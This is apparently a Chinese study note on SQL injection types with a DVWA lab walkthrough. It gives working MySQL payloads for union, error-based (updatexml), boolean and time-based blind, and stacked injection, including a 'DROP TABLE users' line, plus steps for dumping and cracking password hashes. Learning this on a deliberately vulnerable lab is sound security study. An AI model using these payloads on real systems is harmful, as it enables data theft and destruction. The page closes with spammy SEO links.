当前位置: 首页 > news >正文

0527漏洞原理:SQL注入笔记 SQL注入类型(联合查询注入、报错注入实操)

理论知识

1. 按数据类型划分

(1) 数字型注入

  • 特点:参数为数字,无需引号闭合。
  • 判断方法
    • 输入 id=1',若报错则可能是字符型,否则可能是数字型。

(2) 字符型注入

  • 特点:参数为字符串,需闭合引号(单引号 ' 或双引号 ")。
  • 示例
    1. http://example.com/login.php?username=admin
  • 攻击方式
    1. http://example.com/login.php?username=admin' AND '1'='1
  • 判断方法
    • 输入 username=admin',若报错则存在字符型注入。
    • 进一步测试闭合方式:admin' AND '1'='1(单引号闭合)、admin" AND "1"="1(双引号闭合)。

2. 按执行效果划分

(1) 联合查询注入(Union-Based)

  • 适用场景:页面有回显,且支持 UNION 查询。
  • 攻击步骤
    1. 判断列数ORDER BY 4(直到报错)。
    2. 找显示位UNION SELECT 1,2,3,4(查看哪些数字显示在页面上)。
    3. 爆数据
      1. UNION SELECT 1,database(),3,4
    4. 获取表名、列名、数据
      1. UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()

(2) 报错注入(Error-Based)

  • 适用场景:页面返回数据库错误信息(如MySQL错误)。
  • 常用函数
    • updatexml()
    • extractvalue()
    • floor(rand()*2)(利用主键冲突报错)

  • 示例
    1. AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
  • 攻击步骤
    1. 利用报错函数获取数据库名、表名、列名。
    2. 逐步提取数据。

 (3) 布尔盲注(Boolean-Based)

  • 适用场景:页面无回显,但能通过 True/False 状态(如登录成功/失败)判断。
  • 攻击方式
    1. AND substr(database(),1,1)='a' --+
  • 步骤
    1. 猜解数据库名长度:AND length(database())=8
    2. 逐字符猜解:AND substr(database(),1,1)='a'
    3. 依次获取表名、列名、数据。

(4) 时间盲注(Time-Based)

  • 适用场景:页面无任何回显,只能通过延时判断。

  • 攻击方式
    1. AND IF(1=1,SLEEP(5),0) --+

  • 步骤
    1. 判断注入点:AND IF(1=1,SLEEP(5),0)(若延迟5秒则存在注入)。
    2. 逐字符猜解:AND IF(substr(database(),1,1)='a',SLEEP(5),0)

(5) 堆叠查询(Stacked Queries)

  • 适用场景:数据库支持多语句执行(如MySQL的 mysqli_multi_query)。
  • 攻击方式
    1. ; DROP TABLE users; --
  • 危害:可执行任意SQL语句,如增删改查、读写文件等。

    3. 按数据提交方式划分

    (1) GET注入

    • 特点:参数通过URL传递(?id=1)。
    • 示例
      1. http://example.com/news.php?id=1 AND 1=1 --+

    (2) POST注入

    • 特点:参数通过表单提交(如登录框)。
    • 示例
      1. username=admin'-- &password=123456

    (3) HTTP头注入

    • 特点:注入点在HTTP头部(如 User-AgentCookieReferer)。
    • 示例
      1. User-Agent: Mozilla/5.0' OR 1=1 --+

    4. 特殊类型

    (1) 宽字节注入

    • 适用场景:数据库使用GBK等宽字符编码,可绕过转义(如 %df' 吃掉转义符 \)。
    • 示例
      1. %df%27 → 单引号(')被转义为 `\'`,但 `%df` 会吃掉 `\`,使 `'` 逃逸。

    (2) 二次注入

    • 特点:恶意数据先存入数据库,后续查询时触发SQL注入。
    • 示例
      1. 注册用户名为 admin'--
      2. 修改密码时触发:
        1. UPDATE users SET password='123' WHERE username='admin'--'

    相关操作

    联合查询注入

    进入 DVWA 页面后,点击 “Create/Reset Database” 按钮,创建数据库。

    在登录页面输入默认的用户名 “admin” 和密码 “password”。

    点击 “Login” 按钮,即可登录到 DVWA 系统。

    添加’报错

    存在SQL注入漏洞

    再添加’

    说明是字符型

    添加注释--+

    正常返回

    字符没有括号的闭合

    GET /vulnerabilities/sqli/?id=1''--+&Submit=Submit HTTP/1.1

    ?id=1'+order+by+1--+&Submit=Submit 
    id=-1'+union+select+1,2--+&Submit
    ?id=-1'+union+select+database(),2--+

    ?id=-1'+union+select+database(),

    group_concat(table_name)

    +from+information_schema.tables+

    where+table_schema='dvwa'--+

    -1'+union+select+database(),group_

    concat(column_name)+from+information_

    schema.columns+where+table_schema=

    'dvwa'+and+table_name='users'--+

    -1'+union+select+database(),

    group_concat(user,":",password)

    +from+users--+&Submit=Submit 

    Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

    md5解密得到密码

    后续利用之前学到的《信息收集》找到它的后台,用获取到的账号密码登录0526漏洞原理:漏洞验证-信息收集笔记(BurpSuite Professional,fofa,BUUCTF)-CSDN博客

     报错注入

    添加单引号

    出现详细的报错语法

    需要火狐浏览器扩展
    Load UPL

    id=1'--+%27&Submit

    =Submit#

    同样的,说明没有括号

    id=1'and updatexml

    (1,concat(1,(select database())),1)--+

    以报错的形式返回查询结果

    id=1'and updatexml(1,

    concat(1,(select table_name

    from information_schema.t

    ables where table_schema='dvwa')),1)-

    -+%2

    查询结果超过一行

    id=1'and updatexml

    (1,concat(1,(select group_concat(table_name)

    from 

    id=1'and updatexml(1,concat(1,

    (select group_concat(column_

    name)

    from information_schema.columns

    where table_schema='dvwa' and table_name='users')),1)--+%27&Submit=Submit#

    报错函数最多只能输出32个字符

    id=1'and updatexml(1,concat

    (1,(select column_name from information_schema.

    columns where table_

    schema='dvwa' and table_

    name='users' limit 1,1)),1)--+&Submit=Submit#

    试比较麻烦,使用Intruder

    id=1'and updatexml(1,concat(

    1,(select user from users limit

    1,1)),1)--+&Submit=Submit#

    (1,concat(1,(select%20password%20from%

    20users%20limit%20§1§,1)),1

    md5解密密码

    布尔盲注

    带入单引号不存,存在SQL注入
    1‘’%两个单引号,说明是字符型
    id=1‘--+%说明没有括号

    sqli_blind/?id=1’ and

    substr((select database

    ()),1,1)='b'--+%E2%80%98%E2%80%

    99&Submit=Submit#

    爆破库名

    sqli_blind/?id=1' and substr((select

    database()),1,1)='d'--+&Submit=Submit#

    得到dvwa

    1%27%20and%20substr((

    select%20group_concat(table_name)%

    20from%20information_schema.tables%

    20where%20table_schema=%27dvwa%

    27),1,1)=%27d%27--+&

    id=1%27%20and%20su

    bstr((s

    elect%20group_concat(

    column

    _name)%20from%20infor

    mation_

    schema.columns%20where

    %20tab

    le_schema=%27dvwa%27+a

    nd+tab

    le_name='users'),§1§,1

    )=%27§d§%27--+

    id=1%27%20and%20substr((select

    %20passwoed%20from%20users+limit

    +0,1),§1§,1)=%27§b§%27--+&Submit=Submit HTTP/1.1

    相关文章:

  • SQL Server 简介和与其它数据库对比
  • sqli-第三十二关——bypass addslashes
  • 一对多 多对一
  • SQL思路解析:窗口函数该如何使用?
  • LeetCode 高频 SQL 50 题(基础版)之 【连接】部分 · 上
  • 猿大师办公助手WebOffice用二进制数据流在Web前端打开Office文档
  • 二次封装 Vuex for Uniapp 微信小程序开发
  • npm error Cannot find module ‘negotiator‘ 的处理
  • Turf.js:前端地理空间分析的瑞士军刀
  • 网络编程3
  • 图论回溯
  • 【监控】Spring Boot 应用监控
  • 如何制作全景VR图?
  • 线上 VR 展会:独特魅力与显著特质
  • 【赵渝强老师】HBase的体系架构
  • VR 技术与病毒分离鉴定:一场奇妙的邂逅​
  • Mobaxterm 连接到 Docker 容器
  • C语言栈详解
  • 不同电脑同一个网络ip地址一样吗
  • ⚡ Hyperlane —— 比 Rocket 更快的 Rust Web 框架!
  • 日本女做受网站/吴忠seo
  • 如何选择网站开发/合肥seo建站
  • 西安西郊网站建设/百度题库
  • 您的网站未备案 或者原备案号被取消/网站是怎么建立起来的
  • .red域名做网站好不好/网页制作软件推荐
  • 网站建设 方案 评价表/网络推广平台网站推广